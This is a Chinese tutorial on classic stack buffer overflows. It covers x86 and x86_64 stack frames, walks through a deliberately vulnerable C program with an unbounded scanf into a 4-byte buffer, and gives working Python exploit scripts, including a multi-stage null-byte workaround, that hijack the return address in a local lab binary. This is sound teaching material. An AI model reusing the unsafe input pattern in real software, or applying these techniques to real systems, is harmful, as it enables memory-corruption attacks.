栈溢出漏洞基础
1. 栈溢出——经典的程序漏洞
在计算机程序中,函数调用是其核心运行机制。为了管理函数的调用、返回、参数传递和局部变量,计算机系统使用了一种名为 栈(Stack)的数据结构。由于其“后进先出”(LIFO)的特性和在内存中连续布局的特点,栈成为了一个常见且历史悠久的漏洞利用区域。
本文将引导你深入理解栈的工作原理,并通过一个经典的 栈溢出(Stack Overflow)攻击实例,展示如何劫持程序的执行流程。我们将从栈的基础理论出发,一步步构建一个存在漏洞的程序,并最终利用该漏洞来执行我们指定的代码。
2. 核心理论:函数调用、栈帧与ABI
要理解栈溢出,我们必须先了解函数调用时栈是如何工作的,以及不同架构下规则的差异。
2.1 栈的通用特性
- LIFO(后进先出):最后压入栈的数据,最先被弹出。就像一摞盘子,你总是先取走最上面的那一个。
- 高地址向低地址增长:在x86/x86_64架构下,栈顶指针(
esp/rsp)会随着数据的压入(push)而减小,随着数据的弹出(pop)而增大。
2.2 调用约定(ABI)与栈帧
每次函数调用,都会在栈上创建一个独立的区域,称为栈帧(Stack Frame)。这个栈帧的精确布局由调用约定或**ABI(Application Binary Interface)**定义。它是一套规则,规定了函数如何传递参数、返回值以及如何维护栈帧。我们来看看最常见的两种(以System V ABI为例):
A. 64位调用约定 (x86_64 SysV ABI)
在64位Linux/macOS系统中,前6个整型或指针参数优先通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),速度更快。只有超出6个的参数才会通过栈传递。
- 典型栈帧结构 (x86_64):
高地址 │ +-----------------------------+ │ | 第7个及之后的参数 | ← 由调用者压栈 │ +-----------------------------+ │ | 返回地址 (Return Address) | ← call 指令自动压栈 │ +-----------------------------+ │ | 上一帧的栈底指针 (rbp) | ← 函数序言保存 │ +-----------------------------+ │ | 局部变量 (Local Variables) | └──► 当前栈顶 (rsp)
B. 32位调用约定 (x86 SysV ABI)
在32位环境中,参数主要通过栈来传递。调用者(Caller)将参数从右到左依次压入栈中,然后执行call指令。
- 典型栈帧结构 (x86):
高地址 │ +-----------------------------+ │ | 函数参数 (argN...arg1) | ← 由调用者压栈 │ +-----------------------------+ │ | 返回地址 (Return Address) | ← call 指令压栈 (ebp + 4) │ +-----------------------------+ │ | 旧的 ebp 指针 | ← 函数序言保存 (当前ebp指向此) │ +-----------------------------+ │ | 局部变量 (Local Variables) | ← (ebp - N) └──► 当前栈顶 (esp)
攻击的关键在这两种情况下都是一样的:ret指令。如果我们能通过输入超长的数据,溢出局部变量的边界,覆盖掉保存在栈上的返回地址,那么当函数执行ret时,程序就会跳转到我们精心构造的地址,从而劫持控制流。
为了清晰地演示这一过程,我们的实验将采用32位环境,因为其参数和返回地址都在栈上的特性,使得内存布局更加直观。
3. 实验环境搭建
现在,我们来编写并编译一个存在栈溢出漏洞的程序。
3.1 目标程序 (vlun.c)
该程序包含一个危险函数 dangerous_function 和一个存在漏洞的 main 函数。main 函数使用 scanf("%s", buffer) 读取用户输入,但 buffer 只有4字节,这为栈溢出提供了可能。
// vlun.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void dangerous_function() {
const char *msg = "成功利用漏洞! 已获取系统控制权限!\n"
" /\\_/\\\n"
" ( o.o )\n"
" > ^ <\n"
" pwned\n";
write(1, msg, strlen(msg));
}
int main(int argc, const char **argv, const char **envp) {
char buffer[4];
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 1, 0);
printf("试着输入点东西:");
scanf("%s", buffer);
return 0;
}
3.2 编译与环境配置
为了让漏洞利用更容易复现,我们需要关闭一些现代编译器的安全机制。
编译指令:
clang -m32 -fno-stack-protector -fno-omit-frame-pointer -no-pie -O0 vlun.c -o vlun
编译选项解析:
-m32: 生成32位程序,与我们上面讨论的栈帧模型保持一致。-fno-stack-protector: 禁用栈保护(Canary)。否则,编译器会在返回地址前插入一个随机值,用于检测溢出。-fno-omit-frame-pointer: 保留栈帧指针(ebp)。这使得栈结构更清晰,便于调试和计算偏移。-no-pie: 禁用地址空间布局随机化(ASLR)。这确保程序和函数的地址在每次运行时都是固定的。-O0: 禁用代码优化。确保编译后的汇编代码与C源代码逻辑高度一致。
4. 漏洞分析与攻击实施
4.1 静态分析:确定目标地址
我们的目标是让程序跳转到 dangerous_function。首先,用 readelf 找到它的地址。
readelf -s vlun | grep dangerous_function
输出可能如下,记下这个地址:
43: 080491b0 81 FUNC GLOBAL DEFAULT 12 dangerous_function
我们的目标跳转地址是 0x080491b0。
4.2 动态分析:计算溢出偏移量
接下来,我们用GDB调试程序,确定需要多少字节的填充才能覆盖到返回地址。
gdb vlun
在
main函数下断点并运行:(gdb) b main (gdb) r反汇编
main函数,观察栈布局:(gdb) disassemble你会看到类似下面的汇编代码:
Dump of assembler code for function main: 0x08049210 <+0>: push %ebp 0x08049211 <+1>: mov %esp,%ebp ... 0x08049214 <+4>: sub $0x24,%esp ; 为局部变量等分配了 0x24 (36) 字节空间 ... 0x080492ad <+157>: lea -0xc(%ebp),%eax ; 将 buffer 的地址 ebp-0xc 放入 eax 0x080492b0 <+160>: mov %eax,(%esp,%eiz,1) 0x080492b3 <+163>: call 0x8049080 <__isoc99_scanf@plt> ... 0x080492c8 <+184>: leave ; 这里在部分编译器情况下可能会出现非常规情况注意检查 0x080492c9 <+185>: ret分析栈布局:
高地址 │ +-----------------------------+ │ | 返回地址(Return Address) | <- ebp + 0x4 │ +-----------------------------+ │ | 上一帧的栈底指针(rbp/ebp) | <- ebp │ +-----------------------------+ │ | ... | │ +-----------------------------+ │ | char[4] buffer起点 | <- ebp - 0xc │ +-----------------------------+ │ | ... | │ +-----------------------------+ │ | char* buffer | <- esp + 0x4 │ +-----------------------------+ │ | char* format | <- esp └──► 当前栈顶(esp)关联理论与实践:
- 注意
scanf的调用过程:两个参数(格式化字符串地址和buffer地址)都被mov到了栈上((%esp)和0x4(%esp))。 - 这完美印证了我们在理论部分讨论的 32位ABI 特性——参数通过栈传递,而不是像64位ABI那样优先使用寄存器。
- 注意
计算偏移量:
- 从汇编代码
lea -0xc(%ebp),%eax可知,buffer的起始地址是ebp - 0xc(即ebp - 12)。 - 根据第2节的32位栈帧图,我们知道旧的
ebp存储在ebp的位置,返回地址存储在ebp + 4的位置。 - 因此,从
buffer的起点到返回地址的距离为:(ebp + 4) - (ebp - 12) = 16字节。 - 这意味着,我们需要 16字节的填充数据 来刚好到达返回地址的位置。
- 从汇编代码
4.3 构造并执行Payload
我们的Payload结构非常简单:16字节的垃圾数据 + 目标函数地址。
Payload构造脚本 (exploit.py):
# exploit.py
import struct
# 之前找到的目标函数地址
target_addr = 0x080491b0
# 计算出的偏移量
offset = 16
# 构造Payload
# 'A' * 16 是填充数据
# struct.pack("<I", target_addr) 将地址打包成小端序的4字节
payload = b"A" * offset + struct.pack("<I", target_addr)
# 将Payload写入文件
with open("payload.bin", "wb") as f:
f.write(payload)
print("Payload generated and saved to payload.bin")
执行攻击:
运行Python脚本生成payload.bin,然后通过管道将其作为程序的输入。
python3 exploit.py
./vlun < payload.bin
成功! 你将看到屏幕上输出了 dangerous_function 中的信息,证明我们成功劫持了程序的执行流程。
试着输入点东西:成功利用漏洞! 已获取系统控制权限!
/\_/\
( o.o )
> ^ <
pwned
Segmentation fault
5. 64位情况下的栈溢出
在理解了32位环境下的栈溢出原理后,我们来看看64位系统(x86_64)下的情况。尽管基本原理相同,但64位ABI(Application Binary Interface)的一些特性会影响栈帧的布局和参数传递方式,从而改变我们计算偏移量和构造Payload的方法。
5.1 64位环境下的主要区别
- 寄存器传参: 在64位Linux/macOS(System V ABI)中,函数的前6个整型或指针参数通过寄存器 (
rdi,rsi,rdx,rcx,r8,r9) 传递,而不是通过栈。这使得栈上通常只有局部变量和返回地址。 - 地址长度: 64位系统中的地址是8字节(
QWORD),而不是4字节(DWORD)。因此,返回地址也需要8字节来覆盖。 - 栈对齐: 64位系统通常要求栈在
call指令之前保持16字节对齐。编译器会自动处理这一点,但在手动构造栈帧时需要注意。
5.2 目标程序 (vlun.c) 及其64位编译
// vlun.c
#include <stdio.h>
#include <stdlib.h> // for strtoull
#include <stdint.h>
#include <string.h>
#include <unistd.h>
void dangerous_function() {
const char *msg = "成功利用漏洞! 已获取系统控制权限!\n"
" /\\_/\\\n"
" ( o.o )\n"
" > ^ <\n"
" pwned\n";
write(1, msg, strlen(msg));
}
int main(int argc, const char **argv, const char **envp) {
char buffer[4];
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 1, 0);
char buffer2[20];
uint64_t num_times;
printf("请输入次数:");
scanf("%s", buffer2);
num_times = strtoull(buffer2, NULL, 10);
for(uint64_t i=0; i<num_times; ++i) {
printf("试着输入点东西:");
scanf("%s", buffer);
}
return 0;
}
编译指令:
为了在64位环境下复现漏洞,我们同样需要关闭一些安全机制,并指定编译为64位程序。
clang -m64 -fno-stack-protector -fno-omit-frame-pointer -no-pie -O0 vlun.c -o vlun_64
-m64: 生成64位程序。- 其他选项与32位相同,用于关闭保护和优化。
5.3 静态分析:确定目标地址
同样,我们需要找到 dangerous_function 的地址。
readelf -s vlun_64 | grep dangerous_function
输出可能如下,记下这个地址:
41: 0000000000401180 59 FUNC GLOBAL DEFAULT 13 dangerous_function
我们的目标跳转地址是 0x0000000000401180。
5.4 动态分析:计算溢出偏移量
接下来,我们用GDB调试 vlun_64 程序,确定 buffer 到返回地址的偏移量。
gdb vlun_64
在
main函数下断点并运行:(gdb) b main (gdb) r反汇编
main函数,观察栈布局:(gdb) disassemble main你会看到类似下面的汇编代码:
Dump of assembler code for function main: 0x00000000004011c0 <+0>: push %rbp 0x00000000004011c1 <+1>: mov %rsp,%rbp 0x00000000004011c4 <+4>: sub $0x40,%rsp ; 为局部变量等分配了 0x40 (64) 字节空间 ... 0x0000000000401242 <+130>: mov %rax,-0x38(%rbp) ; num_times 存储在 rbp-0x38 0x0000000000401246 <+134>: movq $0x0,-0x40(%rbp) ; 循环变量 i 存储在 rbp-0x40 ... 0x0000000000401266 <+166>: lea -0x1c(%rbp),%rsi ; 将 buffer 的地址 rbp-0x1c 放入 rsi (scanf的第二个参数) ... 0x0000000000401288 <+200>: add $0x40,%rsp 0x000000000040128c <+204>: pop %rbp 0x000000000040128d <+205>: ret分析栈布局 (64位):
高地址 │ +-----------------------------+ │ | 返回地址 (Return Address) | <- rbp + 0x8 │ +-----------------------------+ │ | 上一帧的栈底指针 (rbp) | <- rbp │ +-----------------------------+ │ | ... | │ +-----------------------------+ │ | char buffer[4] | <- rbp - 0x1c │ +-----------------------------+ │ | ... | │ +-----------------------------+ │ | uint64_t num_times | <- rbp - 0x38 │ +-----------------------------+ │ | uint64_t i | <- rbp - 0x40 └──► 当前栈顶 (rsp)计算偏移量:
- 从汇编代码
lea -0x1c(%rbp),%rsi可知,buffer的起始地址是rbp - 0x1c(即rbp - 28)。 - 根据64位栈帧图,我们知道旧的
rbp存储在rbp的位置,返回地址存储在rbp + 8的位置。 - 因此,从
buffer的起点到返回地址的距离为:(rbp + 8) - (rbp - 0x1c) = 0x1c + 8 = 0x24字节。 - 这意味着,我们需要 36字节的填充数据 来刚好到达返回地址的位置。
- 从汇编代码
5.5 构造并执行Payload:\x00 字节的挑战与多阶段覆盖
在64位栈溢出攻击中,一个常见的挑战是目标地址中可能包含 \x00 字节(空字节)。由于 scanf("%s", ...) 函数会将 \x00 视为字符串的终止符,并在读取到 \x00 时停止读取并自动在其后追加一个 \x00,这会使得我们无法直接通过 scanf 写入包含 \x00 的完整8字节地址。
我们的目标地址是 0x00401180。将其转换为小端序的8字节表示为 \x80\x11\x40\x00\x00\x00\x00\x00。可以看到,在 \x40 之后紧跟着一个 \x00。如果直接尝试用 struct.pack("<Q", 0x401180) 生成的 b'\x80\x11\x40\x00\x00\x00\x00\x00' 作为Payload的一部分,scanf 在读取到 \x40 后的第一个 \x00 时就会停止,导致返回地址的高位字节无法被我们控制,从而无法成功跳转。
为了克服 \x00 字节的限制,我们的Payload生成代码采用了一种非常巧妙的 多阶段覆盖(Multi-stage Overwrite) 策略。它利用了 scanf 的循环特性和其自动添加 \x00 的行为,分步将返回地址的高位字节清零,再写入目标地址的低位字节。
Payload构造脚本 (exploit_64.py):
# exploit_64.py
import struct
# TGT 0000000000401180
# 注意:这里只提供了地址的低3字节
addr_tail = b'\x80\x11\x40'
offset = 0x24 # 计算出的偏移量,36字节
with open("payload.bin", "wb") as f:
# 写入 num_times = 6
# 这意味着 main 函数中的 scanf("%s", buffer) 将被调用 6 次。
f.write(b"6"+b"\n")
# 第一阶段:清零返回地址的高位字节
# 这 5 次输入的目标是利用 scanf 的 \x00 终止特性,逐步将返回地址的高位字节置为 \x00。
# 每次输入都比前一次少一个 'A',导致 scanf 写入的有效字节数减少,
# 并在末尾自动补齐 \x00,从而逐渐将返回地址的高位字节清零。
for i in range(5):
# 填充 offset 字节,然后是 (8-i) 个 'A'
# 假设返回地址是 RA_H RA_L (高4字节 低4字节)
# 下面采用的记号地址方向为:
# 低地址--->高地址
# 第一次循环 (i=0): 写入 8个 'A'。 RA -> AAAAAAAA
# 第二次循环 (i=1): 写入 7个 'A',scanf 自动补 \x00。 RA -> AAAAAAA\x00
# 第三次循环 (i=2): 写入 6个 'A',scanf 自动补 \x00。 RA -> AAAAAA\x00\x00
# 第四次循环 (i=3): 写入 5个 'A',scanf 自动补 \x00。 RA -> AAAAA\x00\x00\x00
# 第五次循环 (i=4): 写入 4个 'A',scanf 自动补 \x00。 RA -> AAAA\x00\x00\x00\x00
# 经过这 5 次循环,返回地址的高 4 字节(或更高位)会被清零。
padding = b"A" * offset + b"A" * (8-i)
f.write(padding + b"\n")
# 第二阶段:写入目标地址的低位字节
# 这是最后一次循环,用于写入我们希望跳转到的目标地址。
# 它由 36 字节的填充数据 ('A' * offset) 和目标地址的低 3 字节 (addr_tail) 组成。
f.write(b"A" * offset + addr_tail +b"\n")
print("Payload generated and saved to payload.bin")
攻击分析:
num_times = 6: 程序首先读取num_times为6,这意味着scanf("%s", buffer)将被调用6次。- 第一阶段 (前 5 次
scanf调用):清零返回地址的高位字节main函数中的buffer大小为4字节。每次scanf("%s", buffer)调用时,都会从buffer的起始位置开始写入。padding = b"A" * offset + b"A" * (8-i)会生成一个超过buffer大小,并能够覆盖到返回地址的字符串。- 例如,第一次循环 (
i=0),Payload是offset个 ‘A’ 加上 8 个 ‘A’。scanf会读取这offset+8个 ‘A’,并将其写入到buffer及其后面的栈空间,最终覆盖返回地址为0x4141414141414141(AAAAAAAA)。 - 第二次循环 (
i=1),Payload是offset个 ‘A’ 加上 7 个 ‘A’。scanf读取offset+7个 ‘A’ 后,遇到换行符\n停止,并在写入的末尾自动添加一个\x00。此时返回地址变为0x0041414141414141(AAAAAAA\x00)。 - 以此类推,在经过 5 次循环后,返回地址的低 4 字节将是
0x41414141,而高 4 字节则被scanf自动添加的\x00清零,即返回地址变为0x0000000041414141。
- 第二阶段 (第 6 次
scanf调用):写入目标地址的低位字节- 此时,栈上的返回地址是
0x0000000041414141。 exploit_64.py生成的最后一个Payload是b"A" * offset + addr_tail,其中addr_tail是b'\x80\x11\x40'。scanf会读取offset个 ‘A’,然后读取\x80\x11\x40。- 在读取
\x40后,scanf会遇到输入流中的换行符\n。它会停止读取,并在写入的末尾追加一个\x00。 - 因此,最终写入到返回地址位置的数据是
\x80\x11\x40\x00。 - 由于返回地址的高 4 字节已经被第一阶段清零为
0x00000000,所以最终整个8字节的返回地址将变为0x0000000000401180。
- 此时,栈上的返回地址是
这种多阶段的利用方式,完美地规避了 scanf 无法直接处理 \x00 的问题,实现了对含有 \x00 的目标地址的完整覆盖。
执行攻击:
运行Python脚本生成payload.bin,然后通过管道将其作为程序的输入。
python3 exploit_64.py
./vlun_64 < payload.bin
成功! 你将看到屏幕上输出了 dangerous_function 中的信息,证明我们成功劫持了程序的执行流程。
请输入次数:试着输入点东西:试着输入点东西:试着输入点东西:试着输入点东西:试着输入点东西:试着输入点东西:成功利用漏洞! 已获取系统控制权限!
/\_/\
( o.o )
> ^ <
pwned
Segmentation fault